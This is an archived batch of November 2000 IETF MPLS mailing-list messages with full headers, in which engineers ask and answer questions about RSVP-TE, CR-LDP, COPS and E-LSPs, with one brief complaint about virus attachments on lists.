owner-mpls@UU.NET Tue Nov 14 11:14:34 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA06443 for ; Tue, 14 Nov 2000 11:14:34 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjphg29273; Tue, 14 Nov 2000 16:12:47 GMT Received: by mail-control.mail.uu.net id QQjphg22019 for mpls-outgoing; Tue, 14 Nov 2000 16:11:55 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjphg21999 for ; Tue, 14 Nov 2000 16:11:36 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjphg00130 for ; Tue, 14 Nov 2000 16:09:31 GMT Received: from sj-msg-core-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjphg18722 for ; Tue, 14 Nov 2000 16:09:30 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id IAA24180 for ; Tue, 14 Nov 2000 08:09:32 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id LAA22296 for mpls@uu.net; Tue, 14 Nov 2000 11:09:28 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpfd05379 for ; Tue, 14 Nov 2000 02:21:46 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpfd06357 for ; Tue, 14 Nov 2000 02:21:05 GMT Received: from web1701.mail.yahoo.com by cmr0.ash.ops.us.uu.net with SMTP (peer crosschecked as: web1701.mail.yahoo.com [128.11.23.212]) id QQjpfd26504 for ; Tue, 14 Nov 2000 02:21:05 GMT Received: (qmail 26226 invoked by uid 60001); 14 Nov 2000 02:21:02 -0000 Message-ID: <20001114022102.26225.qmail@web1701.mail.yahoo.com> Received: from [47.248.0.43] by web1701.mail.yahoo.com; Mon, 13 Nov 2000 18:21:02 PST Date: Mon, 13 Nov 2000 18:21:02 -0800 (PST) From: Rita Hui Subject: Loose ERO subobject To: mpls@UU.NET MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-mpls@UU.NET Precedence: bulk Hi, In RSVP-TE, when a LSR receives a PATH message with the first ERO subobject being a LOOSE one, which of the following behaviour is correct? 1) It generates error "Bad Initial subobject" if the node does not belong to the address described by the subobject. 2) It does not generate the "bad initial subobject" error, but directly send the message off towards that address. If it does not have a path, generate "Bad loose node". If it does evaluate the first ERO subobject even if it is loose, this is different than what CR-LDP, which only evalutes when the first ERO subobject is strict. What is the rationale for this distinct behaviour? Thanks in advance, Rita __________________________________________________ Do You Yahoo!? Yahoo! Calendar - Get organized for the holidays! http://calendar.yahoo.com/ From owner-mpls@UU.NET Tue Nov 14 11:38:48 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA12685 for ; Tue, 14 Nov 2000 11:38:47 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjphi00727; Tue, 14 Nov 2000 16:36:54 GMT Received: by mail-control.mail.uu.net id QQjphi24837 for mpls-outgoing; Tue, 14 Nov 2000 16:36:17 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjphi24826 for ; Tue, 14 Nov 2000 16:36:16 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjphi00562 for ; Tue, 14 Nov 2000 16:35:40 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjphi26409 for ; Tue, 14 Nov 2000 16:35:39 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id LAA26903 for mpls@uu.net; Tue, 14 Nov 2000 11:35:38 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjphi24682 for ; Tue, 14 Nov 2000 16:35:10 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjphi14283 for ; Tue, 14 Nov 2000 16:33:58 GMT Received: from xover.hjinc.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [38.160.241.130]) id QQjphi03819 for ; Tue, 14 Nov 2000 16:33:58 GMT Received: by xover.hjinc.com with Internet Mail Service (5.5.2650.21) id ; Tue, 14 Nov 2000 11:31:59 -0500 Message-ID: <87009604743AD411B1F600508BA0F959040CB7@xover.hjinc.com> From: "Sanford, Bill" To: "'Rita Hui'" , mpls@UU.NET Subject: RE: Loose ERO subobject Date: Tue, 14 Nov 2000 11:31:59 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk -----Original Message----- From: Rita Hui [mailto:huil_98@yahoo.com] Sent: Monday, November 13, 2000 9:21 PM To: mpls@UU.NET Subject: Loose ERO subobject Hi, In RSVP-TE, when a LSR receives a PATH message with the first ERO subobject being a LOOSE one, which of the following behaviour is correct? 1) It generates error "Bad Initial subobject" if the node does not belong to the address described by the subobject. 2) It does not generate the "bad initial subobject" error, but directly send the message off towards that address. If it does not have a path, generate "Bad loose node". ***** Rita, if the LSR gets the PATH message and strips off its own hop address, and the next hop it has is loose, the packet should send it out to the next hop (if it is in its table) or send it out an interface or interfaces to establish a connection to the next hop. The LSR *should* add ERO hops if it can find the next ERO at more than the next hop away. If it can't find it, the LSR should return with an error of "No Route Found" with say a "bad loose node" error code. If it does evaluate the first ERO subobject even if it is loose, this is different than what CR-LDP, which only evalutes when the first ERO subobject is strict. What is the rationale for this distinct behaviour? ***** I would think that this would keep dynamic rerouting working at a particular point in the network, if there were known problems at some of the next hops of the LSR. Thanks in advance, Rita __________________________________________________ Do You Yahoo!? Yahoo! Calendar - Get organized for the holidays! http://calendar.yahoo.com/ From owner-mpls@UU.NET Tue Nov 14 11:53:19 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA16996 for ; Tue, 14 Nov 2000 11:53:19 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjphj24282; Tue, 14 Nov 2000 16:51:59 GMT Received: by mail-control.mail.uu.net id QQjphj26288 for mpls-outgoing; Tue, 14 Nov 2000 16:51:33 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjphj26282 for ; Tue, 14 Nov 2000 16:51:25 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjphj06369 for ; Tue, 14 Nov 2000 16:51:03 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjphj19970 for ; Tue, 14 Nov 2000 16:50:59 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id LAA29519 for mpls@uu.net; Tue, 14 Nov 2000 11:50:58 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjphj26254 for ; Tue, 14 Nov 2000 16:50:26 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjphj04341 for ; Tue, 14 Nov 2000 16:49:59 GMT Received: from tnt.isi.edu by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: tnt.isi.edu [128.9.128.128]) id QQjphj20990 for ; Tue, 14 Nov 2000 16:49:58 GMT Received: from gra.isi.edu (gra.isi.edu [128.9.160.133]) by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id eAEGnji13651; Tue, 14 Nov 2000 08:49:45 -0800 (PST) From: Bob Braden Received: (from braden@localhost) by gra.isi.edu (8.8.7/8.8.6) id QAA02398; Tue, 14 Nov 2000 16:49:45 GMT Date: Tue, 14 Nov 2000 16:49:45 GMT Message-Id: <200011141649.QAA02398@gra.isi.edu> To: shawn@cc.nctu.edu.tw, J.Crowcroft@cs.ucl.ac.uk Subject: Re: Call for Chapters - viruses Cc: diff-serv@baynetworks.com, end2end-interest@ISI.EDU, mpls@UU.NET, giga@tele.pitt.edu, itc@ieee.org, tccc@ieee.org, tcgn@ieee.org X-Sun-Charset: US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk *> *> In message , =?big5?B?vbK606 *> SvIFNoYXduIFRzYWk=?= typed: *> *> here's another one.... *> *> pllease stop wasting the tme of people on this list with .exe *> attachments - we probably all run unix anyhow, so its just a waste of *> (spare) transmission and storage capacity ratehr than a real attach:-) *> *> j. *> Actually, such attacks might even be successful. I just got maybe 50 messages from virus detectors. Folks, I have more interesting things to do with my time than act as a virus filter. If this happens a lot, the end2end-interest list will fade into the sunset. Bob Braden From owner-mpls@UU.NET Tue Nov 14 12:09:44 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA20694 for ; Tue, 14 Nov 2000 12:09:43 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjphk01023; Tue, 14 Nov 2000 17:08:34 GMT Received: by mail-control.mail.uu.net id QQjphk09265 for mpls-outgoing; Tue, 14 Nov 2000 17:07:54 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjphk09253 for ; Tue, 14 Nov 2000 17:07:47 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjphk25708 for ; Tue, 14 Nov 2000 17:07:16 GMT Received: from server.nayna.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: node-64-145-162-227.dslspeed.zyan.com [64.145.162.227]) id QQjphk18084 for ; Tue, 14 Nov 2000 17:07:16 GMT Received: from nayna.com (sonicwall [64.145.162.226]) by server.nayna.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA25665; Tue, 14 Nov 2000 09:07:12 -0800 X-Authentication-Warning: server.nayna.com: Host sonicwall [64.145.162.226] claimed to be nayna.com Message-ID: <3A11563F.2CC8DFD6@nayna.com> Date: Tue, 14 Nov 2000 09:11:59 -0600 From: Sudheer Dharanikota X-Mailer: Mozilla 4.7 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: nagarajup@internet-trends.net CC: mpls@UU.NET Subject: Re: Information Regarding CR-LDP References: <000001c04e45$f7d49cf0$1401a8c0@fsdi.com> Content-Type: multipart/mixed; boundary="------------75ED08AB4E99F1FDDB325C92" Sender: owner-mpls@UU.NET Precedence: bulk This is a multi-part message in MIME format. --------------75ED08AB4E99F1FDDB325C92 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Can you elaborate on the question. - sudheer "P.Nagaraju" wrote: > > Dear Friends, > i want information in deciding the next hop to establish a CR-LSP when only > the resources are the constraints. Please reply me ASAP. > thanx > nagaraju --------------75ED08AB4E99F1FDDB325C92 Content-Type: text/x-vcard; charset=us-ascii; name="sudheer.vcf" Content-Description: Card for Sudheer Dharanikota Content-Disposition: attachment; filename="sudheer.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Dharanikota;Sudheer tel;cell:408-829-8812 tel;work:408-956-8000 X357 x-mozilla-html:TRUE org:Nayna Networks adr:;;;;;; version:2.1 email;internet:sudheer@nayna.com fn:Sudheer Dharanikota end:vcard --------------75ED08AB4E99F1FDDB325C92-- From owner-mpls@UU.NET Tue Nov 14 12:13:11 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA21492 for ; Tue, 14 Nov 2000 12:13:10 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjphk25250; Tue, 14 Nov 2000 17:11:42 GMT Received: by mail-control.mail.uu.net id QQjphk09787 for mpls-outgoing; Tue, 14 Nov 2000 17:11:14 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjphk09749 for ; Tue, 14 Nov 2000 17:11:03 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjphk06657 for ; Tue, 14 Nov 2000 17:10:07 GMT Received: from zrtps06s.us.nortel.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [47.140.48.50]) id QQjphk03672 for ; Tue, 14 Nov 2000 17:10:01 GMT Received: from zrtpd004.us.nortel.com by zrtps06s.us.nortel.com; Tue, 14 Nov 2000 11:22:42 -0500 Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id ; Tue, 14 Nov 2000 11:22:42 -0500 Message-ID: From: "Bilel Jamoussi" To: "'nagarajup'" , mpls Subject: RE: Information Regarding CR-LDP Date: Tue, 14 Nov 2000 11:22:27 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.35) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C04E57.141781A0" X-Orig: Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C04E57.141781A0 Content-Type: text/plain; charset="iso-8859-1" your on switch path selection algorithm. Bilel. -----Original Message----- From: P.Nagaraju [mailto:nagarajup@internet-trends.net] Sent: Tuesday, November 14, 2000 9:20 AM To: mpls Subject: Information Regarding CR-LDP Dear Friends, i want information in deciding the next hop to establish a CR-LSP when only the resources are the constraints. Please reply me ASAP. thanx nagaraju ------_=_NextPart_001_01C04E57.141781A0 Content-Type: text/html; charset="iso-8859-1" RE: Information Regarding CR-LDP

your on switch path selection algorithm.

Bilel.

-----Original Message-----
From: P.Nagaraju [mailto:nagarajup@internet-trends.net]
Sent: Tuesday, November 14, 2000 9:20 AM
To: mpls
Subject: Information Regarding CR-LDP


Dear Friends,
i want information in deciding the next hop to establish a CR-LSP when only
the resources are the constraints. Please reply me ASAP.
thanx
nagaraju

------_=_NextPart_001_01C04E57.141781A0-- From owner-mpls@UU.NET Tue Nov 14 13:15:01 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA09275 for ; Tue, 14 Nov 2000 13:15:00 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpho12722; Tue, 14 Nov 2000 18:13:56 GMT Received: by mail-control.mail.uu.net id QQjpho25998 for mpls-outgoing; Tue, 14 Nov 2000 18:13:28 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjpho25992 for ; Tue, 14 Nov 2000 18:13:22 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpho18681 for ; Tue, 14 Nov 2000 18:13:00 GMT From: wesam.alanqar@mail.sprint.com Received: from damgwp01.corp.sprint.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [199.14.91.106]) id QQjpho19927 for ; Tue, 14 Nov 2000 18:13:00 GMT Received: from kcmgwp02.corp.sprint.com (kcmgwp02 [10.185.6.93]) by damgwp01.corp.sprint.com (Switch-2.0.2/Switch-2.0.2) with ESMTP id eAEIHrd18642; Tue, 14 Nov 2000 12:17:53 -0600 (CST) Received: from kcopmp02.corp.sprint.com (kcopmp02m.corp.sprint.com [10.74.2.73]) by kcmgwp02.corp.sprint.com (Switch-2.0.2/Switch-2.0.2) with ESMTP id eAEICwG06624; Tue, 14 Nov 2000 12:12:58 -0600 (CST) Received: from localhost (root@localhost) by kcopmp02.corp.sprint.com (8.8.6 (PHNE_17190)/8.8.6) with ESMTP id MAA19872; Tue, 14 Nov 2000 12:12:57 -0600 (CST) X-OpenMail-Hops: 1 Date: Tue, 14 Nov 2000 12:12:56 -0600 Message-Id: Subject: information about COPS MIME-Version: 1.0 TO: mpls@UU.NET CC: akyol@pluris.com Content-Type: multipart/mixed; boundary="openmail-part-1594ea1c-00000001" Sender: owner-mpls@UU.NET Precedence: bulk --openmail-part-1594ea1c-00000001 Content-Type: text/plain; charset=ISO-8859-1 Content-Disposition: inline ;Creation-Date="Tue, 14 Nov 2000 12:12:56 -0600" Content-Transfer-Encoding: 8bit Dear Friends, Does any body know any thing about COPS management for MPLS TE? In Iband conference in San Jose few days ago, COPS was mentioned to distribute centralized info for hetro equipment. It was mentioned that RSVP-TE & COPS complete each other for TE!!. Thanks for your help. ------------------------------------------------------------------------ - Wesam Alanqar Member of Technical Staff Technology Concepts, Innovations and Evaluation (TCIE) Technology Planning & Integration- Sprint TP&I 9300 Metcalf Avenue Overland Park, KS 66212-1463 Phone: 913-534-5623 Fax: 913-534-3485 ------------------------------------------------------------------------ - --openmail-part-1594ea1c-00000001-- From owner-mpls@UU.NET Tue Nov 14 13:32:32 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA16219 for ; Tue, 14 Nov 2000 13:32:32 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjphq15374; Tue, 14 Nov 2000 18:31:14 GMT Received: by mail-control.mail.uu.net id QQjphq27256 for mpls-outgoing; Tue, 14 Nov 2000 18:30:45 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjphq27148 for ; Tue, 14 Nov 2000 18:30:19 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjphp17369 for ; Tue, 14 Nov 2000 18:29:19 GMT Received: from IRISNT1.iris.irislabs.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail.irislabs.com [64.123.160.251]) id QQjphp09074 for ; Tue, 14 Nov 2000 18:29:18 GMT Received: by IRISNT1.iris.irislabs.com with Internet Mail Service (5.5.2650.21) id ; Tue, 14 Nov 2000 12:29:57 -0600 Message-ID: From: Young Lee To: "'mpls@UU.NET'" Subject: Question on MPLS E_LSP Date: Tue, 14 Nov 2000 12:29:55 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk I am wondering if any networks are implementing MPLS E-LSP with one LSP supporting more than one class within? If so, what are the advatages of this implementation over having only one class for an LSP? One advantage I can think of is the scaling by putting multiple classes into one LSP. But, is it feasible to support bandwidth gurantee for each class with this implementation? When an application requires a strict bandwidth gurantee for each service (say, 10Mbps for video and 5 Mbps for data), can MPLS E-LSP support this? Also, how would the MPLS-TE attributes such as adaptability and resilience be applicable to multiple classes within LSP? Young Lee Iris Labs From owner-mpls@UU.NET Tue Nov 14 17:06:43 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA14997 for ; Tue, 14 Nov 2000 17:06:43 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpie08058; Tue, 14 Nov 2000 22:05:28 GMT Received: by mail-control.mail.uu.net id QQjpie03807 for mpls-outgoing; Tue, 14 Nov 2000 22:04:51 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpie03800 for ; Tue, 14 Nov 2000 22:04:46 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpie27871 for ; Tue, 14 Nov 2000 22:04:21 GMT Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6]) id QQjpie06419 for ; Tue, 14 Nov 2000 22:04:21 GMT Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id RAA02653 for ; Tue, 14 Nov 2000 17:04:18 -0500 (EST) Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id RAA29147 for ; Tue, 14 Nov 2000 17:04:19 -0500 (EST) Message-ID: <3A11B6FA.6BB82EF2@marconi.com> Date: Tue, 14 Nov 2000 17:04:42 -0500 From: David Charlap X-Mailer: Mozilla 4.73 [en] (WinNT; U) X-Accept-Language: en-US,en-GB,en MIME-Version: 1.0 To: mpls@UU.NET Subject: Use of Hello in RSVP-TE Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit I've got a question regarding the Hello processing from the RSVP-TE draft. When Hellos are being exchanged between neighbors, what happens to normal refreshes? Do they continue as before? If so, then what's the point to using Hello at all? If the refresh interval is increased (perhaps to days), then what mechanism is used to handle the possibility of a tear message that gets lost? -- David From owner-mpls@UU.NET Tue Nov 14 17:23:05 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA19363 for ; Tue, 14 Nov 2000 17:23:05 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpif13342; Tue, 14 Nov 2000 22:21:38 GMT Received: by mail-control.mail.uu.net id QQjpif05657 for mpls-outgoing; Tue, 14 Nov 2000 22:20:53 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpif05638 for ; Tue, 14 Nov 2000 22:20:40 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpif14746 for ; Tue, 14 Nov 2000 22:19:32 GMT Received: from apollo.mctr.umbc.edu by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: apollo.mctr.umbc.edu [130.85.101.89]) id QQjpif28031 for ; Tue, 14 Nov 2000 22:19:32 GMT Received: from mercury.mctr.umbc.edu (mercury.mctr.umbc.edu [130.85.101.142]) by apollo.mctr.umbc.edu (8.9.3/8.9.3) with ESMTP id RAA19606; Tue, 14 Nov 2000 17:19:31 -0500 (EST) Received: from localhost (ayyangar@localhost) by mercury.mctr.umbc.edu (8.8.8+Sun/8.8.8) with SMTP id RAA09092; Tue, 14 Nov 2000 17:24:40 -0500 (EST) X-Authentication-Warning: mercury.mctr.umbc.edu: ayyangar owned process doing -bs Date: Tue, 14 Nov 2000 17:24:40 -0500 (EST) From: Arthi Ayyangar X-Sender: ayyangar@mercury.mctr.umbc.edu To: David Charlap cc: mpls@UU.NET Subject: Re: Use of Hello in RSVP-TE In-Reply-To: <3A11B6FA.6BB82EF2@marconi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk Hi, > When Hellos are being exchanged between neighbors, what happens to > normal refreshes? Do they continue as before? If so, then what's the > point to using Hello at all? ***> Normal Path and Resv refreshes do continue as before. The point of using Hello is to detect a node failure so that a neighboring RSVP node can react to that fialure quickly. In the absence of this, a node needs to wait till the soft state times out to detect a failure. Hello was never meant to supress normal refreshes if that's wht you are u mean. > If the refresh interval is increased (perhaps to days), then what > mechanism is used to handle the possibility of a tear message that gets > lost? ****> If the loss is because of a node/link failure, using Hellos (which are sent frequently) a node will detect the failure quickly and decalre a neighbor to be down. (If a PathTear is getting lost, I assume so is a Path) -arthi From owner-mpls@UU.NET Tue Nov 14 17:29:43 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA21436 for ; Tue, 14 Nov 2000 17:29:43 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpif23256; Tue, 14 Nov 2000 22:28:28 GMT Received: by mail-control.mail.uu.net id QQjpif06452 for mpls-outgoing; Tue, 14 Nov 2000 22:28:02 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpif06445 for ; Tue, 14 Nov 2000 22:28:00 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpif20538 for ; Tue, 14 Nov 2000 22:27:29 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjpif21754 for ; Tue, 14 Nov 2000 22:27:29 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id RAA17225 for mpls@uu.net; Tue, 14 Nov 2000 17:27:28 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjpif06286 for ; Tue, 14 Nov 2000 22:26:32 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpif09015 for ; Tue, 14 Nov 2000 22:25:58 GMT Received: from stl-server-01.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [169.144.36.27]) id QQjpif06932 for ; Tue, 14 Nov 2000 22:25:58 GMT Received: by stl-server-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Tue, 14 Nov 2000 17:25:57 -0500 Message-ID: <39469E08BD83D411A3D900204840EC550A360E@vie-msgusr-01.dc.fore.com> From: "Brennen, Jack" To: mpls@UU.NET Subject: Subscribe Date: Tue, 14 Nov 2000 17:25:56 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Subscribe From owner-mpls@UU.NET Wed Nov 15 06:45:38 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA03577 for ; Wed, 15 Nov 2000 06:45:38 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpkg07914; Wed, 15 Nov 2000 11:43:48 GMT Received: by mail-control.mail.uu.net id QQjpkg22576 for mpls-outgoing; 